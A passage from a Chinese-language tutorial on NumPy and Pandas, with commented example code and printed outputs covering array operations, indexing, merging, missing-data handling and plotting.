[[0 1]
[2 3]]
'''
# 多维度矩阵乘法
# 第一种乘法方式:
c = a.dot(b)
print(c)
# 第二种乘法:
c = np.dot(a,b)
print(c)
'''
[[2 4]
[2 3]]
'''
# 多维矩阵乘法不能直接使用'*'号
a = np.random.random((2,4))
print(np.sum(a)) # 3.657010765991042
print(np.min(a)) # 0.10936760904735132
print(np.max(a)) # 0.9476048882750654
print("a=",a)
'''
a= [[0.16607436 0.94760489 0.59649117 0.22698245]
[0.66494464 0.23447984 0.10936761 0.71106581]]
'''
print("sum=",np.sum(a,axis=1)) # sum= [1.93715287 1.7198579 ]
print("min=",np.min(a,axis=0)) # min= [0.16607436 0.23447984 0.10936761 0.22698245]
print("max=",np.max(a,axis=1)) # max= [0.94760489 0.71106581]
'''
如果你需要对行或者列进行查找运算,
就需要在上述代码中为 axis 进行赋值。
当axis的值为0的时候,将会以列作为查找单元,
当axis的值为1的时候,将会以行作为查找单元。
'''

数据处理之Numpy(二)¶
1.Numpy基础运算¶
import numpy as np
A = np.arange(2,14).reshape((3,4))
print(A)
# 最小元素索引
print(np.argmin(A)) # 0
# 最大元素索引
print(np.argmax(A)) # 11
# 求整个矩阵的均值
print(np.mean(A)) # 7.5
print(np.average(A)) # 7.5
print(A.mean()) # 7.5
# 中位数
print(np.median(A)) # 7.5
# 累加
print(np.cumsum(A))
# [ 2 5 9 14 20 27 35 44 54 65 77 90]
# 累差运算
B = np.array([[3,5,9],
[4,8,10]])
print(np.diff(B))
'''
[[2 4]
[4 2]]
'''
C = np.array([[0,5,9],
[4,0,10]])
print(np.nonzero(B))
print(np.nonzero(C))
'''
# 将所有非零元素的行与列坐标分割开,重构成两个分别关于行和列的矩阵
(array([0, 0, 0, 1, 1, 1], dtype=int64), array([0, 1, 2, 0, 1, 2], dtype=int64))
(array([0, 0, 1, 1], dtype=int64), array([1, 2, 0, 2], dtype=int64))
'''
# 仿照列表排序
A = np.arange(14,2,-1).reshape((3,4)) # -1表示反向递减一个步长
print(A)
'''
[[14 13 12 11]
[10 9 8 7]
[ 6 5 4 3]]
'''
print(np.sort(A))
'''
# 只是对每行进行递增排序
[[11 12 13 14]
[ 7 8 9 10]
[ 3 4 5 6]]
'''
# 矩阵转置
print(np.transpose(A))
'''
[[14 10 6]
[13 9 5]
[12 8 4]
[11 7 3]]
'''
print(A.T)
'''
[[14 10 6]
[13 9 5]
[12 8 4]
[11 7 3]]
'''
print(A)
print(np.clip(A,5,9))
'''
clip(Array,Array_min,Array_max)
将Array_min<X<Array_max X表示矩阵A中的数,如果满足上述关系,则原数不变。
否则,如果X<Array_min,则将矩阵中X变为Array_min;
如果X>Array_max,则将矩阵中X变为Array_max.
[[9 9 9 9]
[9 9 8 7]
[6 5 5 5]]
'''
2.Numpy索引¶
import numpy as np
A = np.arange(3,15)
print(A)
# [ 3 4 5 6 7 8 9 10 11 12 13 14]
print(A[3])
# 6
B = A.reshape(3,4)
print(B)
'''
[[ 3 4 5 6]
[ 7 8 9 10]
[11 12 13 14]]
'''
print(B[2])
# [11 12 13 14]
print(B[0][2])
# 5
print(B[0,2])
# 5
# list切片操作
print(B[1,1:3]) # [8 9] 1:3表示1-2不包含3
for row in B:
print(row)
'''
[3 4 5 6]
[ 7 8 9 10]
[11 12 13 14]
'''
# 如果要打印列,则进行转置即可
for column in B.T:
print(column)
'''
[ 3 7 11]
[ 4 8 12]
[ 5 9 13]
[ 6 10 14]
'''
# 多维转一维
A = np.arange(3,15).reshape((3,4))
# print(A)
print(A.flatten())
# flat是一个迭代器,本身是一个object属性
for item in A.flat:
print(item)
3.Numpy array合并¶
3.1 数组合并¶
import numpy as np
A = np.array([1,1,1])
B = np.array([2,2,2])
print(np.vstack((A,B)))
# vertical stack 上下合并,对括号的两个整体操作。
'''
[[1 1 1]
[2 2 2]]
'''
C = np.vstack((A,B))
print(C)
print(A.shape,B.shape,C.shape)
# (3,) (3,) (2, 3)
# 从shape中看出A,B均为拥有3项的数组(数列)
# horizontal stack左右合并
D = np.hstack((A,B))
print(D)
# [1 1 1 2 2 2]
print(A.shape,B.shape,D.shape)
# (3,) (3,) (6,)
# 对于A,B这种,为数组或数列,无法进行转置,需要借助其他函数进行转置
3.2 数组转置为矩阵¶
print(A[np.newaxis,:]) # [1 1 1]变为[[1 1 1]]
print(A[np.newaxis,:].shape) # (3,)变为(1, 3)
print(A[:,np.newaxis])
'''
[[1]
[1]
[1]]
'''
3.3 多个矩阵合并¶
# concatenate的第一个例子
print("------------")
print(A[:,np.newaxis].shape) # (3,1)
A = A[:,np.newaxis] # 数组转为矩阵
B = B[:,np.newaxis] # 数组转为矩阵
# axis=0纵向合并
C = np.concatenate((A,B,B,A),axis=0)
print(C)
'''
[[1]
[1]
[1]
[2]
[2]
[2]
[2]
[2]
[2]
[1]
[1]
[1]]
'''
# axis=1横向合并
C = np.concatenate((A,B),axis=1)
print(C)
'''
[[1 2]
[1 2]
[1 2]]
'''
# concatenate的第二个例子
print("-------------")
a = np.arange(8).reshape(2,4)
b = np.arange(8).reshape(2,4)
print(a)
print(b)
print("-------------")
# axis=0多个矩阵纵向合并
c = np.concatenate((a,b),axis=0)
print(c)
# axis=1多个矩阵横向合并
c = np.concatenate((a,b),axis=1)
print(c)
'''
[[0 1 2 3]
[4 5 6 7]
[0 1 2 3]
[4 5 6 7]]
[[0 1 2 3 0 1 2 3]
[4 5 6 7 4 5 6 7]]
'''
4.Numpy array分割¶
4.1 构造3行4列矩阵¶
import numpy as np
A = np.arange(12).reshape((3,4))
print(A)
'''
[[ 0 1 2 3]
[ 4 5 6 7]
[ 8 9 10 11]]
'''
4.2 等量分割¶
# 等量分割
# 纵向分割同横向合并的axis
print(np.split(A, 2, axis=1))
'''
[array([[0, 1],
[4, 5],
[8, 9]]), array([[ 2, 3],
[ 6, 7],
[10, 11]])]
'''
# 横向分割同纵向合并的axis
print(np.split(A,3,axis=0))
# [array([[0, 1, 2, 3]]), array([[4, 5, 6, 7]]), array([[ 8, 9, 10, 11]])]
4.3 不等量分割¶
print(np.array_split(A,3,axis=1))
'''
[array([[0, 1],
[4, 5],
[8, 9]]), array([[ 2],
[ 6],
[10]]), array([[ 3],
[ 7],
[11]])]
'''
4.4 其他的分割方式¶
# 横向分割
print(np.vsplit(A,3)) # 等价于print(np.split(A,3,axis=0))
# [array([[0, 1, 2, 3]]), array([[4, 5, 6, 7]]), array([[ 8, 9, 10, 11]])]
# 纵向分割
print(np.hsplit(A,2)) # 等价于print(np.split(A,2,axis=1))
'''
[array([[0, 1],
[4, 5],
[8, 9]]), array([[ 2, 3],
[ 6, 7],
[10, 11]])]
'''
5.Numpy copy与 =
¶
5.1 =
赋值方式会带有关联性¶
import numpy as np
# `=`赋值方式会带有关联性
a = np.arange(4)
print(a) # [0 1 2 3]
b = a
c = a
d = b
a[0] = 11
print(a) # [11 1 2 3]
print(b) # [11 1 2 3]
print(c) # [11 1 2 3]
print(d) # [11 1 2 3]
print(b is a) # True
print(c is a) # True
print(d is a) # True
d[1:3] = [22,33]
print(a) # [11 22 33 3]
print(b) # [11 22 33 3]
print(c) # [11 22 33 3]
5.2 copy()赋值方式没有关联性¶
a = np.arange(4)
print(a) # [0 1 2 3]
b =a.copy() # deep copy
print(b) # [0 1 2 3]
a[3] = 44
print(a) # [ 0 1 2 44]
print(b) # [0 1 2 3]
# 此时a与b已经没有关联

数据处理之Pandas(一)¶
Pandas是基于Numpy构建的,让Numpy为中心的应用变得更加简单。 要使用pandas,首先需要了解他主要两个数据结构:Series和DataFrame。
1.Series¶
import pandas as pd
import numpy as np
# Series
s = pd.Series([1,3,6,np.nan,44,1])
print(s)
'''
0 1.0
1 3.0
2 6.0
3 NaN
4 44.0
5 1.0
dtype: float64
'''
# 默认index从0开始,如果想要按照自己的索引设置,则修改index参数,如:index=[3,4,3,7,8,9]
2.DataFrame¶
2.1 DataFrame的简单运用¶
# DataFrame
dates = pd.date_range('2018-08-19',periods=6)
# dates = pd.date_range('2018-08-19','2018-08-24') # 起始、结束 与上述等价
'''
numpy.random.randn(d0, d1, …, dn)是从标准正态分布中返回一个或多个样本值。
numpy.random.rand(d0, d1, …, dn)的随机样本位于[0, 1)中。
(6,4)表示6行4列数据
'''
df = pd.DataFrame(np.random.randn(6,4),index=dates,columns=['a','b','c','d'])
print(df)
# DataFrame既有行索引也有列索引, 它可以被看做由Series组成的大字典。
print(df['b'])
'''
2018-08-19 -0.217424
2018-08-20 -1.421058
2018-08-21 -0.424589
2018-08-22 0.534675
2018-08-23 -0.018525
2018-08-24 0.635075
Freq: D, Name: b, dtype: float64
'''
# 未指定行标签和列标签的数据
df1 = pd.DataFrame(np.arange(12).reshape(3,4))
print(df1)
# 另一种方式
df2 = pd.DataFrame({
'A': [1,2,3,4],
'B': pd.Timestamp('20180819'),
'C': pd.Series([1,6,9,10],dtype='float32'),
'D': np.array([3] * 4,dtype='int32'),
'E': pd.Categorical(['test','train','test','train']),
'F': 'foo'
})
print(df2)
'''
A B C D E F
0 1 2018-08-19 1.0 3 test foo
1 2 2018-08-19 6.0 3 train foo
2 3 2018-08-19 9.0 3 test foo
3 4 2018-08-19 10.0 3 train foo
'''
print(df2.dtypes)
'''
A int64
B datetime64[ns]
C float32
D int32
E category
F object
dtype: object
'''
print(df2.index)
# RangeIndex(start=0, stop=4, step=1)
print(df2.columns)
# Index(['A', 'B', 'C', 'D', 'E', 'F'], dtype='object')
print(df2.values)
'''
[[1 Timestamp('2018-08-19 00:00:00') 1.0 3 'test' 'foo']
[2 Timestamp('2018-08-19 00:00:00') 6.0 3 'train' 'foo']
[3 Timestamp('2018-08-19 00:00:00') 9.0 3 'test' 'foo']
[4 Timestamp('2018-08-19 00:00:00') 10.0 3 'train' 'foo']]
'''
# 数据总结
print(df2.describe())
'''
A C D
count 4.000000 4.000000 4.0
mean 2.500000 6.500000 3.0
std 1.290994 4.041452 0.0
min 1.000000 1.000000 3.0
25% 1.750000 4.750000 3.0
50% 2.500000 7.500000 3.0
75% 3.250000 9.250000 3.0
max 4.000000 10.000000 3.0
'''
# 翻转数据
print(df2.T)
# print(np.transpose(df2))等价于上述操作
'''
axis=1表示行
axis=0表示列
默认ascending(升序)为True
ascending=True表示升序,ascending=False表示降序
下面两行分别表示按行升序与按行降序
'''
print(df2.sort_index(axis=1,ascending=True))
print(df2.sort_index(axis=1,ascending=False))
'''
A B C D E F
0 1 2018-08-19 1.0 3 test foo
1 2 2018-08-19 6.0 3 train foo
2 3 2018-08-19 9.0 3 test foo
3 4 2018-08-19 10.0 3 train foo
F E D C B A
0 foo test 3 1.0 2018-08-19 1
1 foo train 3 6.0 2018-08-19 2
2 foo test 3 9.0 2018-08-19 3
3 foo train 3 10.0 2018-08-19 4
'''
# 表示按列降序与按列升序
print(df2.sort_index(axis=0,ascending=False))
print(df2.sort_index(axis=0,ascending=True))
'''
A B C D E F
3 4 2018-08-19 10.0 3 train foo
2 3 2018-08-19 9.0 3 test foo
1 2 2018-08-19 6.0 3 train foo
0 1 2018-08-19 1.0 3 test foo
A B C D E F
0 1 2018-08-19 1.0 3 test foo
1 2 2018-08-19 6.0 3 train foo
2 3 2018-08-19 9.0 3 test foo
3 4 2018-08-19 10.0 3 train foo
'''
# 对特定列数值排列
# 表示对C列降序排列
print(df2.sort_values(by='C',ascending=False))
3.pandas选择数据¶
3.1 实战筛选¶
import pandas as pd
import numpy as np
dates = pd.date_range('20180819', periods=6)
df = pd.DataFrame(np.arange(24).reshape((6,4)),index=dates, columns=['A','B','C','D'])
print(df)
# 检索A列
print(df['A'])
print(df.A)
# 选择跨越多行或多列
# 选取前3行
print(df[0:3])
print(df['2018-08-19':'2018-08-21'])
'''
A B C D
2018-08-19 0 1 2 3
2018-08-20 4 5 6 7
2018-08-21 8 9 10 11
'''
# 根据标签选择数据
# 获取特定行或列
# 指定行数据
print(df.loc['20180819'])
'''
A 0
B 1
C 2
D 3
Name: 2018-08-19 00:00:00, dtype: int32
'''
# 指定列
# 两种方式
print(df.loc[:,'A':'B'])
print(df.loc[:,['A','B']])
'''
A B
2018-08-19 0 1
2018-08-20 4 5
2018-08-21 8 9
2018-08-22 12 13
2018-08-23 16 17
2018-08-24 20 21
'''
# 行与列同时检索
print(df.loc['20180819',['A','B']])
'''
A 0
B 1
Name: 2018-08-19 00:00:00, dtype: int32
'''
# 根据序列iloc
# 获取特定位置的值
print(df.iloc[3,1])
print(df.iloc[3:5,1:3]) # 不包含末尾5或3,同列表切片
'''
B C
2018-08-22 13 14
2018-08-23 17 18
'''
# 跨行操作
print(df.iloc[[1,3,5],1:3])
'''
B C
2018-08-20 5 6
2018-08-22 13 14
2018-08-24 21 22
'''
# 混合选择
print(df.ix[:3,['A','C']])
'''
A C
2018-08-19 0 2
2018-08-20 4 6
2018-08-21 8 10
'''
print(df.iloc[:3,[0,2]]) # 结果同上
# 通过判断的筛选
print(df[df.A>8])
'''
A B C D
2018-08-22 12 13 14 15
2018-08-23 16 17 18 19
2018-08-24 20 21 22 23
'''
3.2 筛选总结¶
1.iloc与ix区别
总结:相同点:iloc可以取相应的值,操作方便,与ix操作类似。
不同点:ix可以混合选择,可以填入column对应的字符选择,而iloc只能采用index索引,对于列数较多情况下,ix要方便操作许多。
2.loc与iloc区别
总结:相同点:都可以索引处块数据
不同点:iloc可以检索对应值,两者操作不同。
3.ix与loc、iloc三者的区别
总结:ix是混合loc与iloc操作
如下:对比三者操作
print(df.loc['20180819','A':'B'])
print(df.iloc[0,0:2])
print(df.ix[0,'A':'B'])
输出结果相同,均为:
A 0
B 1
Name: 2018-08-19 00:00:00, dtype: int32
4.Pandas设置值¶
4.1 创建数据¶
import pandas as pd
import numpy as np
# 创建数据
dates = pd.date_range('20180820',periods=6)
df = pd.DataFrame(np.arange(24).reshape(6,4), index=dates, columns=['A','B','C','D'])
print(df)
'''
A B C D
2018-08-20 0 1 2 3
2018-08-21 4 5 6 7
2018-08-22 8 9 10 11
2018-08-23 12 13 14 15
2018-08-24 16 17 18 19
2018-08-25 20 21 22 23
'''
4.2 根据位置设置loc和iloc¶
# 根据位置设置loc和iloc
df.iloc[2,2] = 111
df.loc['20180820','B'] = 2222
print(df)
'''
A B C D
2018-08-20 0 2222 2 3
2018-08-21 4 5 6 7
2018-08-22 8 9 111 11
2018-08-23 12 13 14 15
2018-08-24 16 17 18 19
2018-08-25 20 21 22 23
'''
4.3 根据条件设置¶
# 根据条件设置
# 更改B中的数,而更改的位置取决于4的位置,并设相应位置的数为0
df.B[df.A>4] = 0
print(df)
'''
A B C D
2018-08-20 0 2222 2 3
2018-08-21 4 5 6 7
2018-08-22 8 0 111 11
2018-08-23 12 0 14 15
2018-08-24 16 0 18 19
2018-08-25 20 0 22 23
'''
4.4 按行或列设置¶
# 按行或列设置
# 列批处理,F列全改为NaN
df['F'] = np.nan
print(df)
4.5 添加Series序列(长度必须对齐)¶
df['E'] = pd.Series([1,2,3,4,5,6], index=pd.date_range('20180820',periods=6))
print(df)
4.6 设定某行某列为特定值¶
# 设定某行某列为特定值
df.ix['20180820','A'] = 56
df.loc['20180820','A'] = 67
df.iloc[0,0] = 76
4.7 修改一整行数据¶
# 修改一整行数据
df.iloc[1] = np.nan # df.iloc[1,:]=np.nan
df.loc['20180820'] = np.nan # df.loc['20180820,:']=np.nan
df.ix[2] = np.nan # df.ix[2,:]=np.nan
df.ix['20180823'] = np.nan
print(df)
5.Pandas处理丢失数据¶
5.1 创建含NaN的矩阵¶
# Pandas处理丢失数据
import pandas as pd
import numpy as np
# 创建含NaN的矩阵
# 如何填充和删除NaN数据?
dates = pd.date_range('20180820',periods=6)
df = pd.DataFrame(np.arange(24).reshape((6,4)),index=dates,columns=['A','B','C','D']) # a.reshape(6,4)等价于a.reshape((6,4))
df.iloc[0,1] = np.nan
df.iloc[1,2] = np.nan
print(df)
'''
A B C D
2018-08-20 0 NaN 2.0 3
2018-08-21 4 5.0 NaN 7
2018-08-22 8 9.0 10.0 11
2018-08-23 12 13.0 14.0 15
2018-08-24 16 17.0 18.0 19
2018-08-25 20 21.0 22.0 23
'''
5.2 删除掉有NaN的行或列¶
# 删除掉有NaN的行或列
print(df.dropna()) # 默认是删除掉含有NaN的行
print(df.dropna(
axis=0, # 0对行进行操作;1对列进行操作
how='any' # 'any':只要存在NaN就drop掉;'all':必须全部是NaN才drop
))
'''
A B C D
2018-08-22 8 9.0 10.0 11
2018-08-23 12 13.0 14.0 15
2018-08-24 16 17.0 18.0 19
2018-08-25 20 21.0 22.0 23
'''
# 删除掉所有含有NaN的列
print(df.dropna(
axis=1,
how='any'
))
'''
A D
2018-08-20 0 3
2018-08-21 4 7
2018-08-22 8 11
2018-08-23 12 15
2018-08-24 16 19
2018-08-25 20 23
'''
5.3 替换NaN值为0或者其他¶
# 替换NaN值为0或者其他
print(df.fillna(value=0))
'''
A B C D
2018-08-20 0 0.0 2.0 3
2018-08-21 4 5.0 0.0 7
2018-08-22 8 9.0 10.0 11
2018-08-23 12 13.0 14.0 15
2018-08-24 16 17.0 18.0 19
2018-08-25 20 21.0 22.0 23
'''
5.4 是否有缺失数据NaN¶
# 是否有缺失数据NaN
# 是否为空
print(df.isnull())
'''
A B C D
2018-08-20 False True False False
2018-08-21 False False True False
2018-08-22 False False False False
2018-08-23 False False False False
2018-08-24 False False False False
2018-08-25 False False False False
'''
# 是否为NaN
print(df.isna())
'''
A B C D
2018-08-20 False True False False
2018-08-21 False False True False
2018-08-22 False False False False
2018-08-23 False False False False
2018-08-24 False False False False
2018-08-25 False False False False
'''
# 检测某列是否有缺失数据NaN
print(df.isnull().any())
'''
A False
B True
C True
D False
dtype: bool
'''
# 检测数据中是否存在NaN,如果存在就返回True
print(np.any(df.isnull())==True)

数据处理之Pandas(二)¶
1.Pandas
合并concat
¶
import pandas as pd
import numpy as np
# 定义资料集
df1 = pd.DataFrame(np.ones((3,4))*0, columns=['a','b','c','d'])
df2 = pd.DataFrame(np.ones((3,4))*1, columns=['a','b','c','d'])
df3 = pd.DataFrame(np.ones((3,4))*2, columns=['a','b','c','d'])
print(df1)
'''
a b c d
0 0.0 0.0 0.0 0.0
1 0.0 0.0 0.0 0.0
2 0.0 0.0 0.0 0.0
'''
print(df2)
'''
a b c d
0 1.0 1.0 1.0 1.0
1 1.0 1.0 1.0 1.0
2 1.0 1.0 1.0 1.0
'''
print(df3)
'''
a b c d
0 2.0 2.0 2.0 2.0
1 2.0 2.0 2.0 2.0
2 2.0 2.0 2.0 2.0
'''
# concat纵向合并
res = pd.concat([df1,df2,df3],axis=0)
# 打印结果
print(res)
'''
a b c d
0 0.0 0.0 0.0 0.0
1 0.0 0.0 0.0 0.0
2 0.0 0.0 0.0 0.0
0 1.0 1.0 1.0 1.0
1 1.0 1.0 1.0 1.0
2 1.0 1.0 1.0 1.0
0 2.0 2.0 2.0 2.0
1 2.0 2.0 2.0 2.0
2 2.0 2.0 2.0 2.0
'''
# 上述合并过程中,index重复,下面给出重置index方法
# 只需要将index_ignore设定为True即可
res = pd.concat([df1,df2,df3],axis=0,ignore_index=True)
# 打印结果
print(res)
'''
a b c d
0 0.0 0.0 0.0 0.0
1 0.0 0.0 0.0 0.0
2 0.0 0.0 0.0 0.0
3 1.0 1.0 1.0 1.0
4 1.0 1.0 1.0 1.0
5 1.0 1.0 1.0 1.0
6 2.0 2.0 2.0 2.0
7 2.0 2.0 2.0 2.0
8 2.0 2.0 2.0 2.0
'''
# join 合并方式
#定义资料集
df1 = pd.DataFrame(np.ones((3,4))*0, columns=['a','b','c','d'], index=[1,2,3])
df2 = pd.DataFrame(np.ones((3,4))*1, columns=['b','c','d','e'], index=[2,3,4])
print(df1)
print(df2)
'''
join='outer',函数默认为join='outer'。此方法是依照column来做纵向合并,有相同的column上下合并在一起,
其他独自的column各自成列,原来没有值的位置皆为NaN填充。
'''
# 纵向"外"合并df1与df2
res = pd.concat([df1,df2],axis=0,join='outer')
print(res)
'''
a b c d e
1 0.0 0.0 0.0 0.0 NaN
2 0.0 0.0 0.0 0.0 NaN
3 0.0 0.0 0.0 0.0 NaN
2 NaN 1.0 1.0 1.0 1.0
3 NaN 1.0 1.0 1.0 1.0
4 NaN 1.0 1.0 1.0 1.0
'''
# 修改index
res = pd.concat([df1,df2],axis=0,join='outer',ignore_index=True)
print(res)
'''
a b c d e
0 0.0 0.0 0.0 0.0 NaN
1 0.0 0.0 0.0 0.0 NaN
2 0.0 0.0 0.0 0.0 NaN
3 NaN 1.0 1.0 1.0 1.0
4 NaN 1.0 1.0 1.0 1.0
5 NaN 1.0 1.0 1.0 1.0
'''
# join='inner'合并相同的字段
# 纵向"内"合并df1与df2
res = pd.concat([df1,df2],axis=0,join='inner')
# 打印结果
print(res)
'''
b c d
1 0.0 0.0 0.0
2 0.0 0.0 0.0
3 0.0 0.0 0.0
2 1.0 1.0 1.0
3 1.0 1.0 1.0
4 1.0 1.0 1.0
'''
# join_axes(依照axes合并)
#定义资料集
df1 = pd.DataFrame(np.ones((3,4))*0, columns=['a','b','c','d'], index=[1,2,3])
df2 = pd.DataFrame(np.ones((3,4))*1, columns=['b','c','d','e'], index=[2,3,4])
print(df1)
'''
a b c d
1 0.0 0.0 0.0 0.0
2 0.0 0.0 0.0 0.0
3 0.0 0.0 0.0 0.0
'''
print(df2)
'''
b c d e
2 1.0 1.0 1.0 1.0
3 1.0 1.0 1.0 1.0
4 1.0 1.0 1.0 1.0
'''
# 依照df1.index进行横向合并
res = pd.concat([df1,df2],axis=1,join_axes=[df1.index])
print(res)
'''
a b c d b c d e
1 0.0 0.0 0.0 0.0 NaN NaN NaN NaN
2 0.0 0.0 0.0 0.0 1.0 1.0 1.0 1.0
3 0.0 0.0 0.0 0.0 1.0 1.0 1.0 1.0
'''
# 移除join_axes参数,打印结果
res = pd.concat([df1,df2],axis=1)
print(res)
'''
a b c d b c d e
1 0.0 0.0 0.0 0.0 NaN NaN NaN NaN
2 0.0 0.0 0.0 0.0 1.0 1.0 1.0 1.0
3 0.0 0.0 0.0 0.0 1.0 1.0 1.0 1.0
'''
# append(添加数据)
# append只有纵向合并,没有横向合并
#定义资料集
df1 = pd.DataFrame(np.ones((3,4))*0, columns=['a','b','c','d'])
df2 = pd.DataFrame(np.ones((3,4))*1, columns=['a','b','c','d'])
df3 = pd.DataFrame(np.ones((3,4))*2, columns=['a','b','c','d'])
s1 = pd.Series([1,2,3,4], index=['a','b','c','d'])
# 将df2合并到df1下面,以及重置index,并打印出结果
res = df1.append(df2,ignore_index=True)
print(res)
'''
a b c d
0 0.0 0.0 0.0 0.0
1 0.0 0.0 0.0 0.0
2 0.0 0.0 0.0 0.0
3 1.0 1.0 1.0 1.0
4 1.0 1.0 1.0 1.0
5 1.0 1.0 1.0 1.0
'''
# 合并多个df,将df2与df3合并至df1的下面,以及重置index,并打印出结果
res = df1.append([df2,df3], ignore_index=True)
print(res)
'''
a b c d
0 0.0 0.0 0.0 0.0
1 0.0 0.0 0.0 0.0
2 0.0 0.0 0.0 0.0
3 1.0 1.0 1.0 1.0
4 1.0 1.0 1.0 1.0
5 1.0 1.0 1.0 1.0
6 2.0 2.0 2.0 2.0
7 2.0 2.0 2.0 2.0
8 2.0 2.0 2.0 2.0
'''
# 合并series,将s1合并至df1,以及重置index,并打印结果
res = df1.append(s1,ignore_index=True)
print(res)
'''
a b c d
0 0.0 0.0 0.0 0.0
1 0.0 0.0 0.0 0.0
2 0.0 0.0 0.0 0.0
3 1.0 2.0 3.0 4.0
'''
# 总结:两种常用合并方式
res = pd.concat([df1, df2, df3], axis=0, ignore_index=True)
res1 = df1.append([df2, df3], ignore_index=True)
print(res)
print(res1)
2.Pandas 合并 merge¶
2.1 定义资料集并打印出¶
import pandas as pd
# 依据一组key合并
# 定义资料集并打印出
left = pd.DataFrame({'key' : ['K0','K1','K2','K3'],
'A' : ['A0','A1','A2','A3'],
'B' : ['B0','B1','B2','B3']})
right = pd.DataFrame({'key': ['K0', 'K1', 'K2', 'K3'],
'C' : ['C0', 'C1', 'C2', 'C3'],
'D' : ['D0', 'D1', 'D2', 'D3']})
print(left)
'''
A B key
0 A0 B0 K0
1 A1 B1 K1
2 A2 B2 K2
3 A3 B3 K3
'''
print(right)
'''
C D key
0 C0 D0 K0
1 C1 D1 K1
2 C2 D2 K2
3 C3 D3 K3
'''
2.2 依据key column合并,并打印¶
# 依据key column合并,并打印
res = pd.merge(left,right,on='key')
print(res)
'''
A B key C D
0 A0 B0 K0 C0 D0
1 A1 B1 K1 C1 D1
2 A2 B2 K2 C2 D2
3 A3 B3 K3 C3 D3
'''
# 依据两组key合并
#定义资料集并打印出
left = pd.DataFrame({'key1': ['K0', 'K0', 'K1', 'K2'],
'key2': ['K0', 'K1', 'K0', 'K1'],
'A': ['A0', 'A1', 'A2', 'A3'],
'B': ['B0', 'B1', 'B2', 'B3']})
right = pd.DataFrame({'key1': ['K0', 'K1', 'K1', 'K2'],
'key2': ['K0', 'K0', 'K0', 'K0'],
'C': ['C0', 'C1', 'C2', 'C3'],
'D': ['D0', 'D1', 'D2', 'D3']})
print(left)
'''
A B key1 key2
0 A0 B0 K0 K0
1 A1 B1 K0 K1
2 A2 B2 K1 K0
3 A3 B3 K2 K1
'''
print(right)
'''
C D key1 key2
0 C0 D0 K0 K0
1 C1 D1 K1 K0
2 C2 D2 K1 K0
3 C3 D3 K2 K0
'''
2.3 依据key1与key2 columns进行合并¶
# 依据key1与key2 columns进行合并,并打印出四种结果['left', 'right', 'outer', 'inner']
res = pd.merge(left, right, on=['key1', 'key2'], how='inner')
print(res)
res = pd.merge(left, right, on=['key1', 'key2'], how='outer')
print(res)
res = pd.merge(left, right, on=['key1', 'key2'], how='left')
print(res)
res = pd.merge(left, right, on=['key1', 'key2'], how='right')
print(res)
'''
---------------inner方式---------------
A B key1 key2 C D
0 A0 B0 K0 K0 C0 D0
1 A2 B2 K1 K0 C1 D1
2 A2 B2 K1 K0 C2 D2
---------------outer方式---------------
A B key1 key2 C D
0 A0 B0 K0 K0 C0 D0
1 A1 B1 K0 K1 NaN NaN
2 A2 B2 K1 K0 C1 D1
3 A2 B2 K1 K0 C2 D2
4 A3 B3 K2 K1 NaN NaN
5 NaN NaN K2 K0 C3 D3
---------------left方式---------------
A B key1 key2 C D
0 A0 B0 K0 K0 C0 D0
1 A1 B1 K0 K1 NaN NaN
2 A2 B2 K1 K0 C1 D1
3 A2 B2 K1 K0 C2 D2
4 A3 B3 K2 K1 NaN NaN
--------------right方式---------------
A B key1 key2 C D
0 A0 B0 K0 K0 C0 D0
1 A2 B2 K1 K0 C1 D1
2 A2 B2 K1 K0 C2 D2
3 NaN NaN K2 K0 C3 D3
'''
2.4 Indicator设置合并列名称¶
# Indicator
df1 = pd.DataFrame({'col1':[0,1],'col_left':['a','b']})
df2 = pd.DataFrame({'col1':[1,2,2],'col_right':[2,2,2]})
print(df1)
'''
col1 col_left
0 0 a
1 1 b
'''
print(df2)
'''
col1 col_right
0 1 2
1 2 2
2 2 2
'''
# 依据col1进行合并,并启用indicator=True,最后打印
res = pd.merge(df1,df2,on='col1',how='outer',indicator=True)
print(res)
'''
col1 col_left col_right _merge
0 0 a NaN left_only
1 1 b 2.0 both
2 2 NaN 2.0 right_only
3 2 NaN 2.0 right_only
'''
# 自定义indicator column的名称,并打印出
res = pd.merge(df1,df2,on='col1',how='outer',indicator='indicator_column')
print(res)
'''
col1 col_left col_right indicator_column
0 0 a NaN left_only
1 1 b 2.0 both
2 2 NaN 2.0 right_only
3 2 NaN 2.0 right_only
'''
2.5 依据index合并¶
# 依据index合并
#定义资料集并打印出
left = pd.DataFrame({'A': ['A0', 'A1', 'A2'],
'B': ['B0', 'B1', 'B2']},
index=['K0', 'K1', 'K2'])
right = pd.DataFrame({'C': ['C0', 'C2', 'C3'],
'D': ['D0', 'D2', 'D3']},
index=['K0', 'K2', 'K3'])
print(left)
'''
A B
K0 A0 B0
K1 A1 B1
K2 A2 B2
'''
print(right)
'''
C D
K0 C0 D0
K2 C2 D2
K3 C3 D3
'''
# 依据左右资料集的index进行合并,how='outer',并打印
res = pd.merge(left,right,left_index=True,right_index=True,how='outer')
print(res)
'''
A B C D
K0 A0 B0 C0 D0
K1 A1 B1 NaN NaN
K2 A2 B2 C2 D2
K3 NaN NaN C3 D3
'''
# 依据左右资料集的index进行合并,how='inner',并打印
res = pd.merge(left,right,left_index=True,right_index=True,how='inner')
print(res)
'''
A B C D
K0 A0 B0 C0 D0
K2 A2 B2 C2 D2
'''
2.6 解决overlapping的问题¶
# 解决overlapping的问题
#定义资料集
boys = pd.DataFrame({'k': ['K0', 'K1', 'K2'], 'age': [1, 2, 3]})
girls = pd.DataFrame({'k': ['K0', 'K0', 'K3'], 'age': [4, 5, 6]})
print(boys)
'''
age k
0 1 K0
1 2 K1
2 3 K2
'''
print(girls)
'''
age k
0 4 K0
1 5 K0
2 6 K3
'''
# 使用suffixes解决overlapping的问题
# 比如将上面两个合并时,age重复了,则可通过suffixes设置,以此保证不重复,不同名
res = pd.merge(boys,girls,on='k',suffixes=['_boy','_girl'],how='inner')
print(res)
'''
age_boy k age_girl
0 1 K0 4
1 1 K0 5
'''
3.Pandas plot出图¶
import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
data = pd.Series(np.random.randn(1000), index=np.arange(1000))
print(data)
print(data.cumsum())
# data本来就是一个数据,所以我们可以直接plot
data.plot()
plt.show()

# np.random.randn(1000,4) 随机生成1000行4列数据
# list("ABCD")会变为['A','B','C','D']
data = pd.DataFrame(
np.random.randn(1000,4),
index=np.arange(1000),
columns=list("ABCD")
)
data.cumsum()
data.plot()
plt.show()

ax = data.plot.scatter(x='A',y='B',color='DarkBlue',label='Class1')
# 将之下这个 data 画在上一个 ax 上面
